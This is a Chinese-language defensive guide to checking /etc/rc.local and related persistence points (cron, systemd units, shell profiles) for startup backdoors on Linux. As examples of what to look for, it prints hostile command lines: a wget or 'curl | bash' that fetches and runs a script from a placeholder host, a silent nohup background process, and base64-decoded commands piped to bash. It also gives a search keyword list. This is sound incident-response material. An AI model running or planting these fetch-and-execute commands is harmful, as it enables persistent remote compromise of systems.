排查rc.local启动级后门需三步:先验证systemctl status rc-local状态及ls -l权限是否含x;再检查首行#!/bin/sh -e和末尾exit 0;最后插入日志并用stat/journalctl交叉验证执行痕迹。

直接检查 /etc/rc.local 文件本身是否被篡改,是排查启动级后门最快速有效的第一步。它看似简单,但常因权限、执行环境或隐藏注入被忽略。
确认 rc.local 是否真实启用且可执行
很多系统(尤其是 Ubuntu 18.04+)默认不启用 rc-local 服务,文件存在 ≠ 会执行。先验证基础状态:
- 运行
systemctl status rc-local,若显示 inactive (dead) 或 not-found,说明该机制根本未激活,所有写入都无效 - 检查文件是否存在且有执行权限:
ls -l /etc/rc.local,输出中应含 x(如-rwxr-xr-x),否则加权限:sudo chmod +x /etc/rc.local - 打开文件,确认首行是
#!/bin/sh -e或#!/bin/bash,末尾必须有exit 0—— 缺失会导致后续脚本中断
逐行分析脚本内容,识别可疑行为
攻击者常在合法命令中混入恶意调用,不靠语法错误,而靠隐蔽动作。重点盯以下几类:
-
网络外连指令:如
wget http://xxx/xx.sh -O /tmp/.a.sh && chmod +x /tmp/.a.sh && /tmp/.a.sh或curl -sL xxx | bash -
后台静默进程:含
nohup、&、/dev/null组合的命令,例如nohup /tmp/.x >/dev/null 2>&1 & -
伪装路径与文件名:使用
/dev/shm/、/run/user/1000/、/var/tmp/等临时目录,文件名带点开头(如.initd、.logd)或仿系统名(如sshd2、sysupd) -
绕过日志的执行方式:用
sh -c "base64_decode..."或echo "..."|base64 -d|bash隐藏原始命令
交叉验证执行痕迹,判断是否真被运行
光看文件不够,得确认它确实被执行过。利用日志和时间戳反推:
- 在
/etc/rc.local开头插入一行:echo "[$(date)] rc.local executed" >> /var/log/rclocal.log,重启后检查该日志是否存在及时间是否匹配 - 用
stat /etc/rc.local查看 Modify Time,若修改时间远晚于系统安装或上次加固时间,说明近期被编辑过 - 对比
journalctl -u rc-local --since "1 hour ago"输出,看是否有报错(如“command not found”、“Permission denied”),错误位置往往暴露了植入的恶意命令
检查关联持久化入口,防止漏网
rc.local 只是常见入口之一,攻击者可能同时在多个地方埋点。顺手扫一遍:
- 查定时任务:
crontab -l(当前用户)、sudo cat /etc/crontab、ls /etc/cron.d/ - 查 systemd 服务:
systemctl list-unit-files --type=service | grep enabled,特别留意名称含update、sync、check的非标服务 - 查用户级启动项:
ls -la ~/.bashrc ~/.profile ~/.bash_profile,搜索nohup、wget、curl、base64











